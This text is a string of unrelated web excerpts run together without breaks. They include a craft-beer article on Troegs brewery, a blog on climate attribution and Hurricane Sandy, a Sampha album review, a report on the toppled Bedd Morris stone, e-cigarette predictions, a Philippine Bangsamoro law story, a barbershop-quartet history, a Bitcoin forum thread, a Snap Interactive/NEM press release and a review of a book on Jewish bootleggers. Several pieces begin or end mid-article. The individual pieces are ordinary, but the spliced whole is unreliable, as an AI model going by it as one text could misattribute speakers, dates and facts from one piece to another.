Craft beer is a growing industry across the nation. Brewers Association data shows that while the beer industry's sales are stagnant, craft sales are up.
Ask LaBert why, and he'll give you more than one reason.
Many of today's consumers “don’t want the the can of warm Budweiser that came off a production line that, you know, sat on a truck and God knows where it came from," he said.
If they're going to spend their money on beer, they want it to be something unique that was brewed with quality in mind. Something they can trace back to its source.
More: Get your six pack the same place you get a case
That's evident in the design of Troegs' brewery.
Bartender Andrew Batula wore a shirt that proclaimed "Proudly brewed in Pennsylvania" along the back as he poured a glass of Sunshine Pils at Troegs' Tasting Room & Snack Bar.
Behind him in plain sight: Three massive stainless steel tanks called the "brew deck," used in the brewing process of Troegs' production beers.
The customers sitting at the bar watched large batches of Troegs beer being brewed as they enjoyed the finished product from the tap.
Also visible: Smaller tanks where "scratch beers" are made — these are experimental recipes that brewers test out at the Hershey brewpub.
In LaBert's words: ​“It’s really exciting times for beer in Pennsylvania."
Also made in Pa. — These 10 products:
It was not a good year for people, weather and climate. The winter was strangely warm in many places and the summer ridiculously hot. As a large fraction of the country suffered through extreme or even extraordinary drought many folks naturally wondered, "Is this climate change?" Then along came a presidential election in which the words "climate change" disappeared from the dialogue. Now, just a week or so before voting day, the convergence of westbound Hurricane Sandy with a eastbound cold front is creating a massive storm, a Frankenstorm even, that is threatening millions of Americans. Weird weather is making yet another appearance in our lives and once again we ask, "Is this climate change?"
The hyper-charged political landscape we are crossing now creates its own sparks when trying to answer that question. In a world looking for "wake-up calls" and "smoking guns," how do scientists address the thorny issue of attribution? Did anthropogenic climate change cause the storm that rained out your picnic yesterday? Is it causing the terrifying storm crawling up the East Coast now? There are deep, powerful and potent issues here that touch on both science and the relationship between science and politics.
Let's start with the science.
For years, most climate scientists would say it's impossible to link an individual weather event with climate change. That, in fact, is the difference between weather and climate. Climate is all about long-term trends — not the 5-day forecast.
Recently, however, some researchers have taken the issue of attribution seriously. Using a variety of techniques, they are attempting to quantify the role human-driven climate change plays in particular events. This is science at the bleeding edge, where framing their questions correctly so that they might lead to meaningful answers is still a hot issue.
Researchers like Randall Dole of NOAA, for example, might ask what percentage of an extreme event's magnitude came from a changing climate. Peter Stott of the UK Met Office frames the question differently. He looks at the odds for a given extreme weather event to occur given human-driven climate change. Kevin Trenberth of NCAR takes a third view, asking: Given a changed background climate, how should we expect weather to change?
All of these different perspectives (sometimes framed as "Weather on Steroids") have led to new quantitative explorations of climate change's role in what is happening now, not 30 years in the future. In an early example of attribution science Peter Stott and colleagues took on the extraordinary heat waves that struck Europe in 2003 (killing thousands). Their conclusion?
"...we estimate it is very likely (confidence level >90%) that human influence has at least doubled the risk of a heat wave exceeding this threshold magnitude."
This kind of science has allowed researchers to get a much better handle on attributing climate change as a game changer for events like this summer's killer heat and drought.
So how about the Frankenstorm?
Here the waters get muddied. There is a hierarchy of weather events which scientists feel they understand well enough for establishing climate change links. Global temperature rises and extreme heat rank high on that list, but Hurricanes rank low. As the IPCC special report on extreme events put it "There is low confidence in any observed long-term (i.e., 40 years or more) increases in tropical cyclone activity (i.e., intensity, frequency, duration), after accounting for past changes in observing capabilities."
The reasons for "low confidence" are manifold. Some part of the caution comes from the complexity of the problem, and some part comes from the lack of good data before the satellite era (about 1970). Thus, many climate scientists will not want to go out on a limb for hurricanes. They just don't have the tools to make strong inferences.
This is not to say progress isn't being made. One thing that does seem clear is that warmer oceans (a la global warming) mean more evaporation, and that likely leads to storms with more and more dangerous rainfall of the kind we saw with Hurricane Irene last year. In addition, a paper published just last month, used records of storm surges going back to 1923 as a measure of hurricane activity. A strong correlation between warm years and strong hurricanes was seen. Thus if you warm the planet, you can expect more dangerous storms.
Which brings us to our bottom line. The science of climate attribution is very exciting and full of cool, new ideas. It has already provided us with first steps towards more precision in understanding how climate change is changing climate now, already. For hurricanes, however, sticking to the science means it is still hard to point to an individual storm and say, yes! Climate change! A more reasoned approach is to take the full weight of our understanding about the Earth and its systems and go beyond asking if any particular event is due to global warming or natural variability. As Kevin Ternbeth of NCAR says "Nowadays, there's always an element of both."
Finally there is the issue of science and politics. Tania Lombrozo wrote a beautiful piece here on Thursday asking if "Scientists Should Promote Results Over Process." Speaking directly to climate change, she concludes
"Overstating confidence in scientific claims may ... miss a long-term benefit for a short-term advantage: rhetorical oomph comes at the cost of an opportunity to educate people about how science works and why the products of science are our most reliable guides to the natural world."
I could not have said it better myself.
The song—much like the LP—comes from a deeply meditative place, reflecting the innermost thoughts of a man still coping with heavy loss. His father, Joe, passed away from lung cancer in 1998. His mother, Binty Sisay, died of cancer in September 2015. Throughout the spare electro-soul of Process, you feel his mom’s spirit in the stillness, pushing her son in his quest for understanding. Sampha’s endured his own health struggles as well. He once discovered a lump in his throat while on tour; despite an endoscopy, doctors couldn’t determine a cause. It became a catalyst for the singer to assess his own mortality here. “Sleeping with my worries,” goes the opener “Plastic 100ºC,” “I didn’t really know what that lump was.”
Sampha’s career dates back to 2010 and the release of Sundanza, his first EP. In 2011, Sampha was featured heavily on producer SBTRKT’s debut album; his second EP, Dual, followed in 2013. Sampha played the background from there, turning up on tracks with Drake (“Too Much,” “The Motion”), Kanye West (“Saint Pablo”), Frank Ocean (“Alabama”), and Solange (“Don’t Touch My Hair”). His presence was strong, even if his voice—a gentle, shimmering falsetto—added light touches to the scenery. Despite its delicate texture, Sampha’s inflection hovers perfectly above the music, cracking at certain pitches to convey grief.
In a way, Process feels like a concept album on which Sampha rediscovers himself. The musician’s mother was diagnosed with cancer the same year Sundaza came out, and as her primary caregiver, he naturally focused his attention on her well-being. Now, he’s attempting to reconnect with his core while coping with despair. In the past, he’d mix his voice to fit within the instrumental; on Process, he makes it the focal point. Co-produced with Rodaidh McDonald, *Process *brings to mind James Blake while nodding to mainstream hip-hop. On “Under,” in particular, Sampha utilizes a sleek trap beat.
Even the album’s most upbeat tracks are shaded with tension. “You’ve been with me since the cradle,” Sampha recalls on “Kora Sings,” presumably referring to his mom. “You’ve been with me, you’re my angel, please don’t you disappear.” With “Blood on Me,” the album’s second single, the vocalist sings through heavy breaths, seemingly haunted by his own insecurities. It addresses the fear of moving forward after personal trauma, and for a quiet soul like Sampha, it also speaks to the panic of navigating the world by himself. “I’m on this road now,” he exclaims. “I’m so alone now/Swerving out of control now.”
The famous standing stone at Bedd Morris, on Newport mountain, was snapped over the weekend, toppling over and crushing a nearby fence.
Archaeologist Professor Geoffrey Wainwright, an expert who has worked on several sites in the Preselis, plans to play an active role in getting the stone reinstated.
He said: “It’s a tragedy, the stone has snapped and it’s a real mess.
“It’s an important landscape feature and an important archaeological site and it must be put back as soon as possible.”
He added: “Hopefully the stone should go back up and no-one will ever know the difference.
“For centuries people have gone up the top road and seen the stone, which is a scheduled monument.”
It is believed the two metre high, bronze age stone was hit by a vehicle travelling on the Cwm Gwaun to Newport road.
Newport mayor Byron James was shocked by the incident and told the Western Telegraph he was looking into the matter.
The National Park Authority has arranged a meeting at the site of the stone to determine how the damage occurred happened, with the authority’s archaeologist and Cadw representatives.
An Authority spokesman said: “Bedd Morris is an impressive, very tall standing stone, well over six foot. It is a scheduled ancient monument thought to date from the bronze age. It now marks the parish boundary between Newport and Pontfaen.
Better Products for First Time Vapers
Smokers that switch to ecigs in 2015 will have a distinct advantage over those that converted in the past. For one thing, they will have a better selection of electronic cigarettes and e-liquids to choose from. But beyond that, the improvements to technology will be a game changer that helps a lot of smokers make a lasting transition away from tobacco. Clive Bates, the former head of Action on Smoking and Health, predicts that next year will be all about 2nd generation vaping gear.
“After plateauing, vaping will resume its inexorable rise in 2015 because it will be easier for users to go straight to 2nd generation products that work for them,” Bates explained. “The business focus will be on simplicity and making sure new users can enter the category easily and without arcane knowledge.”
Increased Ecig Activism
As governments around the world push forward with regulatory changes, ecig activism is destined to boom next year. Grimm Green told the Ashtray Blog that he thinks the growing involvement will be a game changer. “As we move past 2014 I feel like vapers are actually starting to care more now than they ever have. We have fantastic activist leaders that are helping to guide the way to victory. I have no doubt that we will continue to grow and thrive as a community.”
More Lobbying From Big Tobacco
Over the past year, we have seen Big Tobacco get heavily involved in the ecig industry as they try to save face and profits. Professor JF Etter said tobacco companies will continue to sink their claws into ecigs and they will amp up lobbying efforts to get laws that work out in their favor. “They cannot envision doing business in this field without using their influence to obtain a ‘friendly’ regulation. This means sitting behind closed doors with high level civil servants and MPs, and building a high regulatory wall around this business,” Professor Etter said.
The Decline of Cigalikes
A new wave of technology has changed how people vape and Spinfuel writer John Manzione predicts that next year will bring further decline to first generation cigalikes. “Smokers are moving past cig-a-likes and jumping into the bigger, better devices faster than ever. This will continue, and the time it takes for a former smoker to get to the larger devices will get shorter and shorter,” Manzione said. “This is also a good thing. Don’t get me wrong, if technology could improve to the point that we can get flavor, vapor, and ‘vape time’ in an NJOY sized device I’d be there with bells on.”
Lives Will Be Saved
Herbert Gilbert introduced the first ecig prototype back in 1963 and today, he continues to support the vaping industry. He predicts that 2015 will bring another boom in new vaping converts and as a result, many lives will be saved. “As the inventor of the first electric cigarette in 1963 I predict that the continuing ongoing growth of scientific knowledge proving that tobacco kills while ecigs save lives can only result in even more millions of lives being saved…and that is my prediction based on simple logic,” Gilbert said. “When people learn and comprehend the difference they will stop killing themselves with tobacco, and switching to ecigs will provide a proven and scientifically recognized way to do just that.”
Rapid Innovation
Oliver Kershaw from Vaping.com said 2015 will be the year for rapid and powerful innovation. “On the tech front, we should expect rapid innovation this year as power-regulated devices come down in price and become more widely available, and more widely accepted. This, combined with new tank systems that are hitting the market now are likely to take the high-power style of vaping to a wider market. In my view, these devices are more pleasurable, and will convert more smokers – but they are not without their own controversies, which will become more apparent as more vapers are seen to be using them.”
Continued Ecig Research
P Busardo takes a lighter approach to vaping on his Taste Your Juice blog, but he wasn’t joking around when he predicted that next year would see a major shift in the research circle. “We’re going to see a lot more research being done on what we do and how we do things. Temperatures, liquids, wires, wicking materials will all continue to be tested and looked at. This can only benefits us as vapers, giving us the information we need to make better informed decisions on how we vape should we chose to use the information provided.”
More Delays From the FDA
While the FDA has repeatedly promised imminent regulations, it appears that they are not too much closer to that goal than they were at the beginning of 2014. Steve Vape predicts that 2015 will bring more of the same. “The FDA will attempt to implement its deeming regulation of e-cigarettes. However, legal challenges and other red tape will keep it from being applied in 2015,” he predicted.
UPDATE - 11/29@9:10AM: The interview is also now available on SoundCloud too!
----- snip -----
UPDATE - 11/25@10:42AM: Alex's interview from yesterday is now available for listening online here. The interview occurs in the 2nd half of the show starting at about the 1-hour, 13-minute (73-minute) mark.
I'd mentioned briefly in my post announcing Alex Lifeson's Spirit of Prog award last week that Alex would be a guest on the Prog Magazine Show on TeamRock Radio with Philip Wilding tomorrow. Prog Magazine has released a few more details about the appearance on their website here:
Alex was in London recently where he was honoured with the Spirit Of Prog award at the Classic Rock Roll Of Honour. Prog Show presenter Philip Wilding attended the ceremony with Lifeson, all of them sat at a table with Sir Richard Of Wakeman. We can only imagine how dull that would be... Tune in at 6pm on Sunday at www.teamrockradio.com (and on DAB and the radioplayer app) to hear music from Rush (of course), Mike Oldfield, Jonathan Wilson, Withem, As Gods, Wolf People and more.
Lawmakers in the minority sounded alarm bells on Wednesday over a clause dramatically expanding the potential coverage of the Bangsamoro that was added at the last minute to the controversial “opt-in” provision of the draft law.
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Minority Leader Ronaldo Zamora said he was “shocked” by the reference to the 1976 Tripoli Agreement in the opt-in provision, which basically meant that the provinces that had already voted against joining the ARMM could still be subject to future plebiscites for joining the new Bangsamoro area.
“Did you notice a reference to the Tripoli Agreement?” he told reporters at the regular forum of minority lawmakers.
“Maybe people don’t know what this means: The provinces that they thought were not included, and that there was nothing to fear in the BBL, these congressmen who represent these provinces, may not realize that they may be included,” Zamora said.
The “areas of autonomy” identified in the Tripoli deal signed between government and the Moro National Liberation Front include the core territory of the ARMM comprising the provinces of Basilan, Sulu, Tawi-Tawi, Lanao del Norte, and Maguindanao, and at least eight other provinces outside the ARMM.
These are Zamboanga del Sur, Zamboanga del Norte, North Cotabato, Sultan Kudarat, Lanao del Sur, Davao del Sur, South Cotabato, Palawan, and all cities and villages located in those provinces.
These areas of autonomy would also include Zamboanga Sibugay, which was carved out of Zamboanga del Norte, and Sarangani, which was carved out of South Cotabato.
Thus, 10 provinces are in effect covered under the opt-in provision of the Bangsamoro draft law, the minority lawmakers said.
“Do the congressmen voting so readily for these provisions understand that they are now in play?” Zamora said. “Whether you voted against inclusion in previous plebiscites [to join the ARMM], you’re now back in play,” he said.
Zamboanga del Norte Rep. Seth Frederick Jalosjos said it was clear that “not just core territories” would be affected but all the provinces under the Tripoli agreement.
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“We’re talking about opt-in, but there’s no opt-out. This is a very dangerous provision,” he said.
YACAP Rep. Carol Jayne Lopez said that including the ARMM provinces, the opt-in provision would span a total of 15 provinces “involving 28 congressmen.”
Under Article 3, Section 3 of the working draft, “any local government unit or geographical area outside the territorial jurisdiction of the Bangsamoro, but which are contiguous to any of the component units of the Bangsamoro and within the area of autonomy identified in the 1976 Tripoli Agreement, may opt to be part of the Bangsamoro by filing a petition of at least 10 percent of the registered voters of the interested LGU or geographical area.”
Their inclusion shall be effective when approved by a majority of the votes cast in a plebiscite of political units directly affected, and petitions may only be filed after the fifth and 10th year after the enactment of the Bangsamoro law.
This is a major departure from the original provision in the version submitted to Congress by the executive, which read:
“The areas which are contiguous and outside the core territory may opt at anytime to be part of the territory upon petition of at least 10 percent of the registered voters and approved by a majority of qualified votes cast in a plebiscite.
The committee chair, Cagayan de Oro Rep. Rufus Rodriguez, had actually moved to have this original opt-in provision deleted from the draft entirely, based on the recommendation of the Peace Council.
But the amended version, including the reference to the Tripoli Agreement, had apparently been added when Rodriguez and other lawmakers met with President Aquino to draft the final version on the eve of voting.
It was this “chairman and vice chairpersons’ working draft” which was adopted and voted on by the 75-member ad hoc panel from Monday to Wednesday. AC
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Origins [ edit ]
The quartet started out as an unnamed foursome, singing for community groups around Buffalo. The original members were tenor Vern Reed, an executive for the Tonawanda Boys' Club;[2] lead Al Shea, who was a City of Buffalo policeman; baritone Herschel Smith, a corporate executive; and bass Bill Spangenberg, a truck driver for a steel company. During an appearance at the Buffalo Quarterback Club, the nameless quartet was introduced as the "Buffalo Bills", which was meant to be just for the occasion, but the name stuck from that day on.[2] Coincidentally, a football team known formerly as the Buffalo Bisons also changed its name to the Bills around the same time; the name proved popular enough that the current Buffalo Bills team also picked up the name when they debuted thirteen years later.
Phil Embury traveled with the quartet around the world. The Bills competed in the 1948 and 1949 SPEBSQSA International Quartet Contests, placing sixteenth and sixth, respectively.[2]
Champions [ edit ]
Baritone Herschel Smith left the quartet after he received a job promotion and was transferred to Madison, Wisconsin. Unable to find a replacement, the Bills temporarily broke up. They soon found baritone Dick Grapes and success quickly followed. In 1950, the Bills won the Barbershop Harmony Society International Quartet Contest, earning them the title of International Quartet Champions. Soon after their victory, they appeared on the national radio program We The People and were honored by the Manhattan and Buffalo chapters on their return trip to their hometown.[2] Their first national television appearance was on The Faye Emerson Pepsi-Cola Show broadcast on CBS in April 1951.[2] The Bills also performed at military bases in France, Germany, Austria, Japan, and Korea. That same year of 1951, the Bills released an eight-song LP album for Decca titled Barbershop Gems which was also issued on 45 and 78 RPM records.
Discovery [ edit ]
In the early 1950s, Meredith Willson, a famous composer, arranger, and bandleader, hosted a radio program called Music Today with his wife, Rini. Hearing the Bills records, he began to admire their work, and he and his wife travelled to Buffalo three years later to meet them. Afterwards, he began featuring the quartet regularly on his radio show.[3]
In February 1957, the Buffalo Bills competed on Arthur Godfrey's Talent Scouts, won first honors, and received the essential invitation to perform on Godfrey's morning show for the rest of the week.[3] Later that year, Willson finished his new musical, The Music Man, which featured a barbershop quartet in the plot. Willson suggested the Bills come to New York City and audition for the show. They were immediately accepted, but joining the musical meant they would all have to quit their jobs in Buffalo and relocate to New York City.
Broadway and film [ edit ]
In the end, Dick Grapes decided to stay behind with his job and family life and was replaced by veteran barbershop baritone Wayne "Scotty" Ward of the Great Scots quartet of Steubenville, Ohio.[4] The quartet took one-year leaves from their jobs (which later became permanent) and moved with their families to New York City.[5] They continued to make television and radio appearances, including the Arthur Godfrey show, where they met Walter Latzko, a CBS staff music arranger. They were such a hit in The Music Man on Broadway, that they were cast in the film adaptation of the musical in 1962. Shortly after the film was completed, Bill Spangenberg became ill and had to leave the quartet. He died the following year. Spangenberg was replaced by Jim Jones, bass of the Sta-Laters quartet.
Final years [ edit ]
For the next five years, the Bills continued to perform on the Arthur Godfrey Show, appeared as a nightclub act, performed in regional and amateur productions of The Music Man and were headline entertainers on barbershop shows, as well as at state and county fairs around the US and Canada. Their total career consisted of 1,510 performances on Broadway, 728 concerts, 675 radio shows, 672 night club and hotel appearances, 626 conventions, 218 television shows, 137 state fair performances, and 1 film. Their final official performance was on May 24, 1967 at the Waldorf-Astoria Hotel in New York.[6]
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LegendaryActivity: 1227Merit: 1000 What will the world look like in 10 years if Bitcoin succeeds? October 15, 2015, 11:50:49 AM #1 We've had a million predictions of doom, all the bad things that can happen if Bitcoin and Cryptocurrencies spread. We have also had an unending stream of "Bitcoin is dead" and "Bitcoin won't last another year" predictions.
What I would like is to try to imagine a best case scenario of how the world could change for the better if Bitcoin became as popular as e-mail or social networks and billions of people were using it.
So... what is your best case scenario for 2025?
doublemore
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Hero MemberActivity: 546Merit: 500 Re: What will the world look like in 10 years if Bitcoin succeeds? October 15, 2015, 12:36:15 PM #5 Quote from: flix on October 15, 2015, 11:50:49 AM We've had a million predictions of doom, all the bad things that can happen if Bitcoin and Cryptocurrencies spread. We have also had an unending stream of "Bitcoin is dead" and "Bitcoin won't last another year" predictions.
What I would like is to try to imagine a best case scenario of how the world could change for the better if Bitcoin became as popular as e-mail or social networks and billions of people were using it.
So... what is your best case scenario for 2025?
Im thinking the knock on effects of bitcoin and blockchain technology are huge. Look at the social change the internet has caused by changing how we transfer information... Im hoping bitcoin tech can spread into politics and voting systems, if we can get rid of corruption at the core the world will be very different. Im thinking the knock on effects of bitcoin and blockchain technology are huge. Look at the social change the internet has caused by changing how we transfer information... Im hoping bitcoin tech can spread into politics and voting systems, if we can get rid of corruption at the core the world will be very different.
prodigy8
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Hero MemberActivity: 532Merit: 500ESCROW Re: What will the world look like in 10 years if Bitcoin succeeds? October 15, 2015, 12:49:33 PM #8
In the ads, mostly in the digital world but also in the street, billboards etc.
I would be proud that i learned about bitcoin in its early stage, it would be good It will look like Bitcoin everywhere,In the ads, mostly in the digital world but also in the street, billboards etc.I would be proud that i learned about bitcoin in its early stage, it would be good
flix
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LegendaryActivity: 1227Merit: 1000 Re: What will the world look like in 10 years if Bitcoin succeeds? October 15, 2015, 01:07:16 PM
Last edit: October 15, 2015, 01:42:41 PM by flix #10 OK, let me give it a shot....
1. Banks go the way of Newspapers.
They won't disappear, but they change focus to value-added services like lending, intermediation and lose their current massive scale. Many disappear or break up, the most flexible go online for everything and start going after clients in a global way. In 2025 surviving banks are more like those newspapers that have survived the blogging revolution: different business model, focus on quality and brand-recognition and permanently aware that there are a million alternatives out there ready to eat their lunch if they don't treat clients well.
2. Central banks go the way of the Postal Service.
They will still exist, still think that they matter and still perform some functions... but their influence will be hugely reduced. They will be almost universally ignored... just the same way as central bank presidents in dollarised Latin American countries just focus on supervision and fraud prevention and have little to say on monetary policy. In 2025 they will still be able to move interest rates and do QE... but the ease of capital flight to quality and yield will mean that they cannot use these tools as freely as they do now for fear of seeing an immediate reaction in the FX/Crypto markets which negates their intended effects.
3.Taxes will trend to fee-for-services and real estate.
As capital becomes more mobile and it becomes ever easier to escape tax-heavy jurisdictions, governments will tend to tax more heavily assets that cannot be moved (real estate) and also services that they provide (toll-road model). Tax competition will increase... countries and cities will try to become attractive for investors and residents through lower taxes and more choice. The world will look a bit more like Swizerland where taxes are mostly collected and spent at the Canton (regional) level.
4. Africa will become much richer.
As millions of people can suddenly interact directly and get paid by employers in the developed world or receive remittances from their families at zero cost and without their local governments easily confiscating them. Anyone with technical and language skills in Africa who can get online will suddenly be able to compete with US and European workers for jobs and wages. In 2025 people living in extreme poverty will be less than 5% of the world population.
5. More Peace.
The increased difficulty in collecting taxes or printing money for unpopular causes like war will mean that wars last less and are more limited in the harm that they do. We will see tax revolts as a form of anti-war protest, with millions of people refusing to pay VAT or income tax until the government listens to their cries for peace, and rulers will be unable to do anything to persecute such a massive passive, peaceful resistance movement.
6. Technological Renaissance.
As capital accumulation in the technology sector grows and is less stifled by taxes, regulations and monopolies... investment in R&D grows and the rate of technological advance increases. Technological and economic growth see exponential rates last seen in the Industrial Revolution or the Renaissance.
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NewbieActivity: 49Merit: 0 Re: What will the world look like in 10 years if Bitcoin succeeds? October 15, 2015, 01:39:29 PM #19 Quote from: flix on October 15, 2015, 01:07:16 PM OK, let me give it a shot....
1. Banks go the way of Newspapers.
They won't disappear, but they change focus to value-added services like lending, intermediation and lose their current massive scale. Many disappear or break up, the most flexible go online for everything and start going after clients in a global way. In 2025 surviving banks are more like those newspapers that have survived the blogging revolution: different business model, focus on quality and brand-recognition and permanently aware that there are a million alternatives out there ready to eat their lunch if they don't treat clients well.
2. Central banks go the way of the Postal Service.
They will still exist, still think that they matter and still perform some functions... but their influence will be hugely reduced. They will be almost universally ignored... just the same way as central bank presidents in dollarised Latin American countries just focus on supervision and fraud prevention and have little to say on monetary policy. In 2025 they will still be able to move interest rates and do QE... but the ease of capital flight to quality and yield will mean that they cannot use these tools as freely as they do now for fear of seeing an immediate reaction in the FX/Crypto markets which negates their intended effects.
3.Taxes will trend to fee-for-services and real estate.
As capital becomes more mobile and it becomes ever easier to escape tax-heavy jurisdictions, governments will tend to tax more heavily assets that cannot be moved (real estate) and also services that they provide (toll-road model). Tax competition will increase... countries and cities will try to become attractive for investors and residents through lower taxes and more choice. The world will look a bit more like Swizerland where taxes are mostly collected and spent at the Canton (regional) level.
4. Africa will become much richer.
As millions of people can suddenly interact directly and get paid by employers in the developed world or receive remittances from their families at zero cost and without their local governments easily confiscating them. Anyone with technical and language skills in Africa who can get online will suddenly be able to compete with US and European workers for jobs and wages. In 2025 people living in extreme poverty will be less than 5% of the world population.
5. More Peace.
The increased difficulty in collecting taxes or printing money for unpopular causes like war will mean that wars last less and are more limited in the harm that they do. We will see tax revolts as a form of anti-war protest, with millions of people refusing to pay VAT or income tax until the government listens to their cries for peace, and unable to do anything to persecute such a large passive, peaceful resistance movement.
6. Technological Renaissance.
As capital accumulation in the technology sector grows and is less stifled by taxes, regulations and monopolies... investment in R&D grows and the rate of technological advance increases. Technological and economic growth see exponential rates last seen in the Industrial Revolution or the Renaissance.
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NEW YORK, NY / ACCESSWIRE / December 21, 2017 / Snap Interactive, Inc. ("SNAP," the "Company," "we," "our" or "us") (OTCQB: STVI), a leading provider of live video social networking applications building on blockchain and other innovative technologies, and NEM.io Foundation Ltd. (NEM), one of the most well-funded and successful blockchain technology projects in the cryptocurrency industry, today jointly announced that SNAP has selected NEM to power the Company's core blockchain infrastructure. Development has already commenced and will be the foundation for Backchannel, SNAP's secure messenger application expected to be introduced in the fourth quarter of 2018.
SNAP's Backchannel app is expected to offer video-enabled secure messaging, and is expected to include advanced security features not presently offered by leading secure messaging apps, including anonymous crypto identity authentication, and distributed decentralized message routing that eliminates the security hazard of relying on a third-party middleman.
SNAP was attracted to NEM as a "best-of-class" scalable blockchain technology offering secure Proof-of-Importance consensus protocol, configurable assets, and smart signing contracts. NEM's node reputation system and native multisig capabilities provide the high level security standards required to meet SNAP's design philosophy for Backchannel. We believe that NEM's technology is highly regarded in the blockchain industry, and significant developer adoption has fueled the XEM coin to obtain a market capitalization ranking in the top 10 of all crypto-currencies.
Eric Sackowitz, SNAP's Chief Technology Officer, said, "After many months of experimentation with alternatives, it was time to commit to what we believe is the most appropriate blockchain technology for Backchannel. NEM offered the right combination of premier security, capability, flexibility and scalability coupled with a strong, passionate core development team and community."
"We welcome SNAP to the NEM community, and look forward to supporting their team in making the Backchannel product initiative successful," said Lon Wong, President of the NEM Foundation, and continued "We are delighted that app developers like SNAP, who have served hundreds of millions of users around the globe, are embracing NEM technology."
For more information about Backchannel please visit https://backchannel.live, or email info@backchannel.live.
About Snap Interactive, Inc.
Snap Interactive, Inc. is a leading provider of live video social networking applications building on innovative technologies such as blockchain. SNAP's product portfolio includes Paltalk and Camfrog, which together host one of the world's largest collections of video-based communities, and FirstMet, a prominent interactive dating brand serving users 35 and older. The Company has a long history of technology innovation and holds 26 patents related to video conferencing and online gaming.
For more information, please visit http://www.snap-interactive.com.
The contents of our website is not part of this press release, and you should not consider the contents of this website in making an investment decision with respect to our common stock.
Paltalk, Camfrog, FirstMet and The Grade are trademarks of Snap Interactive, Inc.
About NEM.io Foundation Ltd
NEM.io Foundation Ltd. is a non-profit organization based in Singapore, set up to promote NEM's blockchain technology globally. It is currently one of the most well-funded and successful blockchain technology projects in the cryptocurrency industry. NEM's technology is currently being utilized in a variety of financial institutions and industries.
For more information, please visit: http://www.nem.io
Press contact NEM.io: NEM@transform.PR / +1-415-595-2030
Forward-Looking Statements
This press release contains "forward-looking statements." Such statements may be preceded by the words "intends," "may," "will," "plans," "expects," "anticipates," "projects," "predicts," "estimates," "aims," "believes," "hopes," "potential" or similar words. Forward-looking statements are not guarantees of future performance, are based on certain assumptions and are subject to various known and unknown risks and uncertainties, many of which are beyond the Company's control, and cannot be predicted or quantified and consequently, actual results may differ materially from those expressed or implied by such forward-looking statements. Such risks and uncertainties include, without limitation, risks and uncertainties associated with general economic, industry and market sector conditions; the ability to effectively develop and incorporate blockchain technology into the Company's applications; the ability to effectively integrate the operations of the Company and Paltalk; the Company's ability to institute corporate governance standards or achieve compliance with national securities exchange listing requirements; the Company's future growth and the ability to obtain additional financing to implement the Company's growth strategy; the ability to increase or recognize revenue, decrease expenses and increase the number of active subscribers, new subscription transactions or monthly active users; the ability to enter into new advertising agreements; the ability to diversify new user acquisition channels or improve the conversion of users to paid subscribers; the ability to anticipate and respond to changing user and industry trends and preferences; the intense competition in the online dating marketplace; the ability to release new applications or derive revenue from new applications; and circumstances that could disrupt the functioning of the Company's applications. More detailed information about the Company and the risk factors that may affect the realization of forward-looking statements is set forth in the Company's filings with the Securities and Exchange Commission ("SEC"), including the Company's most recent Annual Report on Form 10-K and Quarterly Reports on Form 10-Q. Investors and security holders are urged to read these documents free of charge on the SEC's web site at http://www.sec.gov.
All forward-looking statements speak only as of the date on which they are made. The Company undertakes no obligation to update any forward-looking statement or statements to reflect events or circumstances after the date on which such statement was made, except to the extent required by applicable securities laws.
Davis, a history professor at Georgia State University, focuses on the surprising subject of Jewish bootleggers during Prohibition in the 1920s. But her monograph also offers some unaccustomed insights into Jewish attitudes toward alcohol — “the Jew drinks,” said one American rabbi in the 19th century, “but he knows when to stop” — and, especially, the liquor industry as a point of entry into American commerce and culture.
Prohibition, first enacted in 1919, was seen as a problem by the Jewish community. “American Jews had been fierce critics of temperance,” she reports, and for more than one reason. To be sure, “they sensed its underlying moral coercion and cultural intolerance,” she explains, but they also acted out of economic self-interest: “Beer, wine, and liquor commerce had served as a source of both individual and communal upward mobility for American Jews since before the Civil War.”
Now, however, Jewish participation in the liquor industry was the target of anti-Semitic propaganda. Henry Ford, a relentless Jew-hater, propagandized that “the Jews are on the side of liquor and always have been.” Davis points out that some old and hateful Jewish stereotypes were dusted off and some new ones invented by Prohibition activists: “the wealthy arriviste Jewish distiller and wholesaler; the Jewish saloon-keeper and liquor store owner who sold alcohol in impoverished communities; and, after the Eighteenth Amendment gained the force of law in 1920, the Jewish bootlegger.”
Davis reveals some Jewish traditions that will come as a surprise to most of her readers. Jews were prominent in brewing, distilling and selling alcoholic beverages in ancient Babylon under Persian rule, and they played the same role in the Middle Ages, both in the Christian and Islamic worlds. Perhaps more familiar is the fact that distilling and tavern-keeping were among “the few occupations to Jews in the crowded and impoverished Pale” in tsarist Russia. When Jewish immigrants arrived in America in the 19th century, the business opportunities in the liquor trade— starting with kosher wine but quickly moving into beer, wine and spirits — represented what Davis calls “a powerful link between their past and their present.”
Business success opened the way for Jewish participation in American politics and culture. Ben Dreyfus, the “wine king of Anaheim,” was elected to the city council and then the office of mayor of his adopted Southern California community. Charles Fleishmann, a distiller in Cincinnati, served in the Ohio state senate. And Cassius Tillman, a Jewish saloonkeeper in Natchez, Miss., served as town sheriff. At the same time, however, the Jewish presence in the liquor trade attracted unwelcome attention from critics who associated alcohol and the places that sold it with vice, crime and race-mixing. Even the iconography of liquor advertisements — the ads for the Rosenfield Bros. distillery in Chicago featured a bevy of alluring women, some scantily clad and some naked — was condemned in some circles on the grounds that “such images inflamed the lust of the ‘black beast rapist.’”
Putting aside such slanders, it is also true that the advent of Prohibition brought Jews into the underground economy of bootlegging, not only Jewish mobsters like Meyer Lansky and Moe Dalitz but also “the Bronfman family of Montreal, via Saskatchewan and, before that, Bessarabia.” Davis reports that “[t]he Jewish bootleggers [they] supplied ran so much Canadian alcohol across Lake Erie that locals referred to it as ‘the Jewish Lake.’”
Davis grapples with some of the most volatile issues in Jewish identity when it comes to the famous Jewish gangsters like Lansky and Dalitz, whose exploits are sometimes celebrated as “models of rough, devil-may-care Jewish masculinity.” She wholly debunks the sentimental myth that has come to be attached to these “tough Jews” by pointing out, among other things, that “they regularly exploited Jewish merchants through extortion.”
She points out, too, that the Jewish community faced an awkward problem during Prohibition precisely because wine is so central to Jewish ritual. Negotiations were opened with Prohibition officials, and the result was that rabbis were authorized to distribute wine to their congregants, and licensed shops were opened where “Kosher Wine for Sacramental Purposes” was available for purchase.
Even Jewish observers, however, questioned whether the millions of gallons of wine that were purchased by Jews were actually for ritual use. “If these figures were a true index of Jewish devotion to the historical customs of their forefathers,” cracked one Jewish publication, “it would indicate a rapid growth of Judaism.” And Davis points out that “rabbis” of dubious authenticity “claimed new and enormous congregations filled with members named Houlihan and Maguire.”
